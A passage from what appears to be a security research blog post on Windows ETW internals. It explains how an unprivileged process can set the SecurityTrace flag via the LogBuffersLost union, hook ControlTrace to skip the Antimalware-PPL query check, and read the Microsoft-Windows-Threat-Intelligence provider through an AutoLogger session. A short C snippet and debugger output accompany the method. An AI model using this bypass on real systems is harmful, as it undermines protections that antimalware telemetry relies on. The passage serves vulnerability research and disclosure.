<p>AutoLogger sessions go through a special code path in the kernel in order to have all of the requested providers enabled (this will be important for later in the blog post). AutoLoggers trace sessions have their target providers enabled via <code class="language-plaintext highlighter-rouge">EtwpEnableAutoLoggerProvider</code> (instead of <code class="language-plaintext highlighter-rouge">EtwEnableTrace</code> directly). This function begins by extracting all of the provider subkeys in the target AutoLogger Registry key entry, iterating by provider GUID. If any of the target providers are either Microsoft-Windows-Kernel-Audit-Api-Calls or Microsoft-Windows-Threat-Intelligence, the target trace’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure is updated to contain the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag.</p>

<p><img src="/images/securitytrace10.png" alt="" /></p>

<p>The key here to remember is that the sessions are not started in context of any particular process - meaning there is no Antimalware-PPL check to be done at this point because the requesting “process” is the <code class="language-plaintext highlighter-rouge">System</code> process - in other words, the kernel itself. Traditionally, an ETW trace session cannot enable Microsoft-Windows-Threat-Intelligence because of the fact that when <code class="language-plaintext highlighter-rouge">EnableTraceEx2</code> is called, the caller process has its identity verified - and if it is not an Antimalware-PPL process, an access denied error is propogated back to the caller.</p>

<p>The difference for AutoLoggers resides in the fact that there is no check to be done on a caller of <code class="language-plaintext highlighter-rouge">EnableTraceEx2</code> because provider enablement for AutoLoggers it not tied to a particular process identity, as it does not involve a process calling <code class="language-plaintext highlighter-rouge">EnableTraceEx2</code>. The kernel itself is responsible for enabling all of the requested providers (which are listed, as previously shown, in the Registry for each AutoLogger). This is why the presence of the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag is important, as it’s purpose is to protect AutoLogger sessions which have enabled privileged providers, like Microsoft-Windows-Threat-Intelligence, from being consumed by non-Antimalware-PPL processes. Although nothing can be done to check the identity of a process enabling a particular provider for an AutoLogger trace session at the time of enablement (as there is no process context to check), the OS can at least delegate this check to later, when a process attempts to then <em>consume</em> from this session. This is exactly where <code class="language-plaintext highlighter-rouge">SecurityTrace</code> comes into play.</p>

<p>The second way an AutoLogger can enable this capability is by setting an undocumented, but valid, AutoLogger Registry configuration value. The value in this case is <code class="language-plaintext highlighter-rouge">EnableSecurityProvider</code>. This is achieved in <code class="language-plaintext highlighter-rouge">EtwpStartAutoLogger</code> in the kernel (note that <code class="language-plaintext highlighter-rouge">SecTraceUnion</code> is <em>user-defined</em> and is not the name of the union which is actually used in the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> structure we have previously mentioned. <code class="language-plaintext highlighter-rouge">Flags</code> in this case is a 1-to-1 mapping of <code class="language-plaintext highlighter-rouge">Flags</code> in the target session’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code>, as we will see later).</p>

<p><img src="/images/securitytrace11.png" alt="" /></p>

<p>As a point of contention, when the <code class="language-plaintext highlighter-rouge">EnableSecurityProvider</code> AutoLogger key  is set a few additional implicit actions occur. Any AutoLogger which has this key set will <em>automatically</em> be opted-in to consuming the Microsoft-Windows-Security-Auditing ETW provider and the target logger ID is added to the list of known loggers consuming from this provider, via the <code class="language-plaintext highlighter-rouge">ETW_SILODRIVERSTATE</code> structure managed <code class="language-plaintext highlighter-rouge">PspHostSiloGlobals</code> in the kernel. This is because the <code class="language-plaintext highlighter-rouge">EtwpSecurityProviderGuidEntry</code> is always set to the Microsoft-Windows-Security-Auditing provider in <code class="language-plaintext highlighter-rouge">EtwpPreInitializeSiloState</code>.</p>

<p><img src="/images/securitytrace12.png" alt="" /></p>

<p>Additionally, the first logger ID in the <code class="language-plaintext highlighter-rouge">EtwpSecurityLoggers</code> array is hardcoded, in <code class="language-plaintext highlighter-rouge">EtwpPreInitializeSiloState</code>, to the logger ID of 3 - which is always reserved for the EventLog-Security trace session. And, as mentioned, any AutoLogger which specifies the <code class="language-plaintext highlighter-rouge">EnableSecurityProvider</code> Registry value will be added to this list - as well as have the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit enabled.</p>

<p><img src="/images/securitytrace13.png" alt="" /></p>

<p>In addition there is a “non-AutoLogger” method to enable the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag without running at Antimalware-PPL (and also, for that matter, dynamically/programmatically without the help of the AutoLogger Registry keys). Additionally, we will outline how it is possible to also consume from such traces without Antimalware-PPL.</p>

<h2 id="wmi_logger_information">WMI_LOGGER_INFORMATION</h2>
<p>As previously mentioned there is a level of abstraction, in user-mode, between the documented <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure and the kernel-mode <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure - and that is the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> structure. Taking a look at this structure, there is some interesting behavior present. Specifically, <code class="language-plaintext highlighter-rouge">Flags</code> and <code class="language-plaintext highlighter-rouge">LogBuffersLost</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">0</span><span class="p">:</span><span class="mi">000</span><span class="o">&gt;</span> <span class="nx">dt</span> <span class="nx">combase</span><span class="o">!</span><span class="nx">_WMI_LOGGER_INFORMATION</span>
    <span class="o">&lt;---</span> <span class="nx">Truncated</span> <span class="o">---&gt;</span>
   <span class="o">+</span><span class="mh">0x070</span> <span class="nx">LogBuffersLost</span>   <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">+</span><span class="mh">0x070</span> <span class="nx">Flags</span>            <span class="p">:</span> <span class="nx">Uint4B</span>
   <span class="o">&lt;---</span> <span class="nx">Truncated</span> <span class="o">---&gt;</span>
</code></pre></div></div>

<p>As seen above, both of these members are located at the same place in memory (offset 0x70). This infers these two members are actually part of a <em>union</em> (represented by our <code class="language-plaintext highlighter-rouge">SecTraceUnion</code> union earlier), and only one of the values can be valid at a time. <code class="language-plaintext highlighter-rouge">LogBuffersLost</code>, which is present in the documented <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure is unioned with another member which is not present in the documented structure: <code class="language-plaintext highlighter-rouge">Flags</code>. This <code class="language-plaintext highlighter-rouge">Flags</code> member, as we mentioned earlier, is directly imported from the intermediary <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code> structure, provided by user-mode, into the <code class="language-plaintext highlighter-rouge">Flags</code> member of the <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure in kernel mode.</p>

<p><img src="/images/securitytrace14.png" alt="" /></p>

<p>In our case, however, because <code class="language-plaintext highlighter-rouge">LogBuffersLost</code> is present in the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure passed to <code class="language-plaintext highlighter-rouge">StartTrace</code>, and because this is unioned with <code class="language-plaintext highlighter-rouge">Flags</code>, if <code class="language-plaintext highlighter-rouge">LogBuffersLost</code> is set to <code class="language-plaintext highlighter-rouge">0x4000</code> in the call to <code class="language-plaintext highlighter-rouge">StartTrace</code> (the mask associated with the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit being set in <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT.Flags</code>) this value is directly imported into the target <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure! This is because, again, <code class="language-plaintext highlighter-rouge">EtwpCopyPropertiesIntoInfo</code> (<code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> -&gt; <code class="language-plaintext highlighter-rouge">WMI_LOGGER_INFORMATION</code>) in <code class="language-plaintext highlighter-rouge">Sechost.dll</code> performs a direct copy of the unioned data.</p>

<p>This allows one programmatically to enable <code class="language-plaintext highlighter-rouge">SecurityTrace</code> without running at Antimalware-PPL, or without needing to even use an <code class="language-plaintext highlighter-rouge">AutoLogger</code> trace session that enables any providers which do require Antimalware-PPL in order to consume from the trace. Additionally, one must set this flag on the call to <code class="language-plaintext highlighter-rouge">StartTrace</code> (it is not possible to call <code class="language-plaintext highlighter-rouge">ControlTrace</code> with an updated <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> containing a new value for <code class="language-plaintext highlighter-rouge">LogBuffersLost</code>. This value is ignored in update scenarios by the kernel via <code class="language-plaintext highlighter-rouge">EVENT_TRACE_CONTROL_UPDATE</code>).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="c1">// &lt;snip&gt;</span>
<span class="c1">//</span>
<span class="n">traceProperties</span><span class="o">-&gt;</span><span class="n">LogBuffersLost</span> <span class="o">=</span> <span class="mh">0x4000</span><span class="p">;</span>  <span class="c1">// Treated as "Flags" if 0x4000 is set in nt!EtwpStartLogger.</span>

<span class="n">error</span> <span class="o">=</span> <span class="n">StartTraceW</span><span class="p">(</span><span class="n">TraceHandle</span><span class="p">,</span>
                    <span class="n">TraceName</span><span class="p">,</span>
                    <span class="n">traceProperties</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">error</span> <span class="o">!=</span> <span class="n">ERROR_SUCCESS</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">wprintf</span><span class="p">(</span><span class="s">L"[-] Error in StartTraceW! (Error: 0x%lx)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
    <span class="k">goto</span> <span class="n">Exit</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After the call to <code class="language-plaintext highlighter-rouge">StartTrace</code>, with <code class="language-plaintext highlighter-rouge">LogBuffersLost</code> set to <code class="language-plaintext highlighter-rouge">0x4000</code>, the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit is set in the target trace’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code>.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">3</span><span class="p">:</span> <span class="nx">kd</span><span class="o">&gt;</span> <span class="nx">dx</span> <span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span><span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)[</span><span class="mh">0x50</span><span class="p">])(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_ESERVERSILO_GLOBALS</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="nx">nt</span><span class="o">!</span><span class="nx">PspHostSiloGlobals</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">EtwSiloState</span><span class="o">-&gt;</span><span class="nx">EtwpLoggerContext</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span><span class="o">-&gt;</span><span class="nx">SecurityTrace</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="nx">i</span><span class="o">-&gt;</span><span class="nx">LoggerName</span><span class="p">)</span>
<span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span><span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)[</span><span class="mh">0x50</span><span class="p">])(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_ESERVERSILO_GLOBALS</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="nx">nt</span><span class="o">!</span><span class="nx">PspHostSiloGlobals</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">EtwSiloState</span><span class="o">-&gt;</span><span class="nx">EtwpLoggerContext</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span><span class="o">-&gt;</span><span class="nx">SecurityTrace</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="nx">i</span><span class="o">-&gt;</span><span class="nx">LoggerName</span><span class="p">)</span>                
    <span class="p">[</span><span class="mi">5</span><span class="p">]</span>              <span class="p">:</span> <span class="dl">"</span><span class="s2">DefenderApiLogger</span><span class="dl">"</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_UNICODE_STRING</span><span class="p">]</span>
    <span class="p">[</span><span class="mi">6</span><span class="p">]</span>              <span class="p">:</span> <span class="dl">"</span><span class="s2">DefenderAuditLogger</span><span class="dl">"</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_UNICODE_STRING</span><span class="p">]</span>
    <span class="p">[</span><span class="mi">41</span><span class="p">]</span>             <span class="p">:</span> <span class="dl">"</span><span class="s2">MyTrace</span><span class="dl">"</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_UNICODE_STRING</span><span class="p">]</span>
</code></pre></div></div>

<p>So, as we can see, we <em>can</em> still create a trace which prevents any process without Antimalware-PPL from querying the session! This is especially useful for software which wants to create an ETW session that is protected from being discovered by other processes (as no AutoLogger key is needed to do this).</p>

<p>The issue though is that, in its current state, this is completely useless because we still run into an issue when it comes time to actually consume ETW events from this trace session. As we have seen thus far - in almost every scenario where <code class="language-plaintext highlighter-rouge">SecurityTrace</code> is enabled, the assumption is the target process consuming from the trace will be running at Antimalware-PPL (even though we know it is possible for a process which is <em>not</em> running at Antimalware-PPL to enable this feature).</p>

<p>In order to consume events (using the documented APIs) we need two calls: <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code>. <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code>, for <a href="https://learn.microsoft.com/en-us/windows/win32/etw/consuming-events">real-time</a> ETW consumers, contain a call to the private function <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code> in <code class="language-plaintext highlighter-rouge">Sechost.dll</code>.</p>

<p><img src="/images/securitytrace15.png" alt="" /></p>

<p>This function occurs inline with <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code>. The fundamental problem here is that calling both of these functions will implicitly call <code class="language-plaintext highlighter-rouge">ControlTrace</code> with the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_CONTROL_QUERY</code> code - which results in a query operation to the kernel. As already mentioned, given that <code class="language-plaintext highlighter-rouge">SecurityTrace</code> must be set at the time of the call to <code class="language-plaintext highlighter-rouge">StartTrace</code> and cannot be updated, the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit will already be set at the time of the call to <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code>. Since query operations result in a check of the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit (and given our process which is making the calls to <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code> is <em>not</em> running as Antimalware-PPL) the operation will fail with <code class="language-plaintext highlighter-rouge">ERROR_ACCESS_DENIED</code>. Going back to what we mentioned earlier, this is why it is not possible to consume events from a trace session that has <code class="language-plaintext highlighter-rouge">SecurityTrace</code> enabled without Antimalware-PPL. However, given that this check is occurring in user-mode, there is more than what meets the eye!</p>

<h2 id="consuming-from-a-securitytrace-session-without-antimalware-ppl">Consuming from a SecurityTrace Session Without Antimalware-PPL</h2>
<p>The fundamental reason why consuming fails is due to the query operation. However, given that the check is delegated to user-mode instead of happening <em>inline</em> in the kernel itself as part of a call to <code class="language-plaintext highlighter-rouge">NtTraceControl</code> for consuming events, and given that we fully-control the process which is invoking <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code> - we can bypass this check and consume from any trace session which has <code class="language-plaintext highlighter-rouge">SecurityTrace</code> enabled. There are two primary options to choose from:</p>

<ol>
  <li>Use only native APIs from <code class="language-plaintext highlighter-rouge">ntdll.dll</code> (primarily <code class="language-plaintext highlighter-rouge">NtTraceControl</code>) to consume from the trace session. Since <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code> are high-level APIs, directly calling the native APIs will result in a bypassing of the query operation</li>
  <li>Install a hook on <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code> (or <code class="language-plaintext highlighter-rouge">ControlTrace</code> itself) to detour all query operations to our own variant. This can be achieved using a supported library like <a href="https://github.com/microsoft/Detours">Microsoft Detours</a>, or by installing your own hook.</li>
</ol>

<p>Due to time constraints we opted for the latter option, which resulted in using our own simple function hook (not using Detours or any other library). Given we opted for a function hook, we needed to compensate for a few things. The first being returning to the caller of <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code> all of the information it expects. This includes:</p>
<ol>
  <li>The number of processors on the system</li>
  <li>The <code class="language-plaintext highlighter-rouge">HistoricalContext</code> (which is referred to as the “trace handle”, but really is just the logger ID preserved in the <code class="language-plaintext highlighter-rouge">ETW_REALTIME_CONSUMER</code> structure - or additionally the position of the session’s <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code> structure in the <code class="language-plaintext highlighter-rouge">EtwpLoggerContext</code> array found in <code class="language-plaintext highlighter-rouge">PspHostSiloGlobals-&gt;EtwSiloState</code> in the kernel)</li>
  <li>The “final” <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> to return to the caller (which needs to be 0x1078 bytes in size)</li>
  <li>An <code class="language-plaintext highlighter-rouge">ERROR_SUCCESS</code> (<code class="language-plaintext highlighter-rouge">0</code>) return code</li>
</ol>

<p>However, this is if we choose to install a hook on <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code>. Given that this is a <em>private</em> function - as indicated by the <code class="language-plaintext highlighter-rouge">Etwp</code> prefix - this function is not exported and it will be a more involved process in order to keep a working POC portable/updated. A more portable method for a POC would be to install a hook on <code class="language-plaintext highlighter-rouge">ControlTrace</code> for only query operations. <code class="language-plaintext highlighter-rouge">ControlTrace</code> is exported and its address can always be known. Because of this all that is required is returning both a a “success” error code and the output tracing properties. Note that the call to <code class="language-plaintext highlighter-rouge">TraceQueryInformation</code>, which is one of the ways the number of processors is retrieved, does not result in an <em>actual</em> call to <code class="language-plaintext highlighter-rouge">EtwpQueryTrace</code> in the kernel.</p>

<p>Going back to <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code>, the query operation is presumably an artifact of getting a “known good copy” of the target trace properties from the kernel - and additionally so that a check of the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit can occur. Trial-and-error revealed that simply just providing the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> returned from the original call to <code class="language-plaintext highlighter-rouge">StartTrace</code> was sufficient and the queried properties are not necessary. So, for our purposes, all that is needed is to detour calls to <code class="language-plaintext highlighter-rouge">ControlTrace</code> for query operations to our own hook and then return to the caller the tracing properties we already have populated from the call to <code class="language-plaintext highlighter-rouge">StartTrace</code>! The <code class="language-plaintext highlighter-rouge">ControlTrace</code> hook simply identifies if the target operation is a query and, if it is, returns the target trace properties to <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code> (which then fills out the <code class="language-plaintext highlighter-rouge">HistoricalContext</code> and number of processors as a result of natural execution).</p>

<p><img src="/images/securitytrace16.png" alt="" /></p>

<p>The above code simply returns the necessary information the caller of <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code> needs without the actual query operation (which would fail, as mentioned, due to the consuming process not running at Antimalware-PPL). By simply inserting this thunk we can now successfully consume ETW events from a trace session which has the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit set without Antimalware-PPL! We can also use this exact same method to consume protected ETW providers, like Microsoft-Windows-Threat-Intelligence, without Antimalware-PPL!</p>

<h2 id="consuming-from-microsoft-windows-threat-intelligence-without-antimalware-ppl">Consuming From Microsoft-Windows-Threat-Intelligence Without Antimalware-PPL</h2>
<p>As mentioned earlier, the whole point of the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit is to protect ETW trace sessions that wish to consume from privileged ETW providers, like Microsoft-Windows-Threat-Intelligence - specifically in AutoLogger scenarios. The reason for this is pretty straightforward - the code paths to enable an ETW provider in a target trace session, in the kernel, differ based on if the trace session is an AutoLogger session or not. If the trace session is not an AutoLogger trace session it is impossible to consume from the Microsoft-Windows-Threat-Intelligence provider without being an Antimalware-PPL. This is due to a check which occurs in <code class="language-plaintext highlighter-rouge">EtwpCheckNotificationAccess</code> in kernel-mode (recall when the AutoLogger enablement happens there is no “process context” for which <code class="language-plaintext highlighter-rouge">EnableTraceEx2</code> can be invoked, since the kernel is responsible for standing up all AutoLogger sessions).</p>

<p><img src="/images/securitytrace17.png" alt="" /></p>

<p>The issue here is that with an AutoLogger ETW trace session the actual check is different. If the Microsoft-Windows-Threat-Intelligence provider is to be consumed by an AutoLogger, only the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> flag is checked - there is no call to <code class="language-plaintext highlighter-rouge">EtwpCheckNotificationAccess</code>, as there is no process context to validate against. This is because the kernel itself is responsible for instantiating all AutoLogger sessions, not a particular process. We saw this earlier in the blog with how an AutoLogger has the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit set in the first place. Given this, we can instrument the following:</p>

<ol>
  <li>Create an entry in the AutoLogger Registry key to consume from Microsoft-Windows-Threat-Intelligence. This will enable Microsoft-Windows-Threat-Intelligence in the trace session. Note that the trace has not yet been consumed by a target process, meaning no Antimalware-PPL check happens because it is not applicable at this state as the kernel is creating all of these sessions - not a particular process</li>
  <li>Patch <code class="language-plaintext highlighter-rouge">ControlTrace</code> in user-mode, which allows consumption from a trace that has the <code class="language-plaintext highlighter-rouge">SecurityTrace</code> bit set. We just need to provide the target <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure</li>
  <li>Call <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code> as normal. This results in everything needed to consume from the session <em>without</em> the query operation we previously showed.</li>
</ol>

<p>The only challenge in the above implementation is <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code>. In our original proof-of-concept, we took solace in the fact that we had a fully-populated <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure after the original call to <code class="language-plaintext highlighter-rouge">StartTrace</code>. Given that we are trying to consume from an already-existing AutoLogger session, we can no longer call <code class="language-plaintext highlighter-rouge">StartTrace</code> because the session already exists. This means we need to manually populate our own <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure to return to the caller of <code class="language-plaintext highlighter-rouge">EtwpQueryRealTimeTraceProperties</code> in <code class="language-plaintext highlighter-rouge">Sechost.dll</code>. Recall that we cannot directly query for these properties without Antimalware-PPL, since <code class="language-plaintext highlighter-rouge">SecurityTrace</code> is set. Trial-and-error revealed that the following fields in the <code class="language-plaintext highlighter-rouge">EVENT_TRACE_PROPERTIES</code> structure are needed for the call to succeed (and the entirety of the <code class="language-plaintext highlighter-rouge">OpenTrace</code> and <code class="language-plaintext highlighter-rouge">ProcessTrace</code> operations in general):</p>

<ol>
  <li>All relevant <code class="language-plaintext highlighter-rouge">WNODE_HEADER</code> fields (<code class="language-plaintext highlighter-rouge">Guid</code>, etc.). <em>Especially</em> <code class="language-plaintext highlighter-rouge">HistoricalContext</code></li>
  <li><code class="language-plaintext highlighter-rouge">BufferSize</code> (a valid value - I have chosen <code class="language-plaintext highlighter-rouge">0x40</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">LogFileMode</code> (<code class="language-plaintext highlighter-rouge">EVENT_TRACE_REAL_TIME_MODE</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">FlushTimer</code></li>
  <li><code class="language-plaintext highlighter-rouge">MinimumBuffers</code></li>
  <li><code class="language-plaintext highlighter-rouge">LoggerNameOffset</code></li>
</ol>

<p>All of the aforementioned fields are trivial to fill out (they just need to be reconciled with the target AutoLogger trace session settings in the Registry) except for <code class="language-plaintext highlighter-rouge">HistoricalContext</code>. <code class="language-plaintext highlighter-rouge">HistoricalContext</code>, however, is deterministic. This because it is simply, as mentioned, the ID of the logger. Given that we are consuming from an AutoLogger trace session, the only “relevant” IDs will be those present in the AutoLogger Registry key at the time an ID is assigned to our trace session. Additionally, the AutoLoggers are enabled in alphabetical order (with a few exceptions that are easily compensated for).</p>

<p>Through testing, it seems the first logger ID used is always 2 (for the “traditional” kernel logger session), and we also know from earlier that ID 3 is always reserved for the EventLog-Security trace - meaning the first possible ID is 4. Compensating for all of this, one can easily infer what the projected <code class="language-plaintext highlighter-rouge">HistoricalContext</code> will be for the target session by brute-forcing all values from 4 - 80 (the maximum ID) with a query operation. AutoLoggers will always reserve the “lower” IDs (starting at 4, 5, 6, etc.) and, thus, iterating over values 4 - 80 until a query to a value that returns <code class="language-plaintext highlighter-rouge">ERROR_ACCESS_DENIED</code> is found is a good indicator that the target trace session is likely a <code class="language-plaintext highlighter-rouge">SecurityTrace</code> target (although this is not <em>always</em> the case as there can be other reasons why a query can fail that is not related to <code class="language-plaintext highlighter-rouge">SecurityTrace</code>). What we are releasing is a POC and, thus, other implementations to reconcile the trace ID are left as an exercise to the reader, as the trace IDs themselves are simply just numeric values and AutoLoggers themselves are enabled in alphabetical order. In the POC we have released, we simply create a trace session name which starts with 0. This all but guarantees, for POC purposes, that this session will be the first ID (4) in the registered trace session, since it will come first alphabetically in most cases.</p>

<p>Finally, with the relevant checks passed, it is then possible to consume from the Microsoft-Windows-Threat-Intelligence ETW provider without Antimalware-PPL or any sort of kernel-mode memory patching or driver loading.</p>

<p><img src="/images/securitytrace18.png" alt="" /></p>

<p>We can see the GUID here is that of the Microsoft-Windows-Threat-Intelligence GUID (<code class="language-plaintext highlighter-rouge">F4E1897C-BB5D-5668-F1D8-040F4D8DD344</code>). Additionally, if we enumerate the list of consumers attached to this trace session (via the linked-list in <code class="language-plaintext highlighter-rouge">WMI_LOGGER_CONTEXT</code>) for a list of <code class="language-plaintext highlighter-rouge">ETW_REALTIME_CONSUMER</code> structures - we can see the only process which is consuming from this trace session, which has enabled the Microsoft-Windows-Threat-Intelligence provider, does not have Antimalware-PPL, and is our proof-of-concept process!</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">3</span><span class="p">:</span> <span class="nx">kd</span><span class="o">&gt;</span> <span class="nx">dx</span> <span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span><span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)[</span><span class="mh">0x50</span><span class="p">])(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_ESERVERSILO_GLOBALS</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="nx">nt</span><span class="o">!</span><span class="nx">PspHostSiloGlobals</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">EtwSiloState</span><span class="o">-&gt;</span><span class="nx">EtwpLoggerContext</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span><span class="o">-&gt;</span><span class="nx">SecurityTrace</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="p">{</span> <span class="nx">Name</span> <span class="o">=</span> <span class="nx">i</span><span class="o">-&gt;</span><span class="nx">LoggerName</span><span class="p">,</span> <span class="nx">Consumers</span> <span class="o">=</span> <span class="nx">Debugger</span><span class="p">.</span><span class="nx">Utility</span><span class="p">.</span><span class="nx">Collections</span><span class="p">.</span><span class="nx">FromListEntry</span><span class="p">(</span><span class="nx">i</span><span class="o">-&gt;</span><span class="nx">Consumers</span><span class="p">,</span> <span class="dl">"</span><span class="s2">nt!_ETW_REALTIME_CONSUMER</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Links</span><span class="dl">"</span><span class="p">)})[</span><span class="mi">0</span><span class="nx">n4</span><span class="p">].</span><span class="nx">Consumers</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
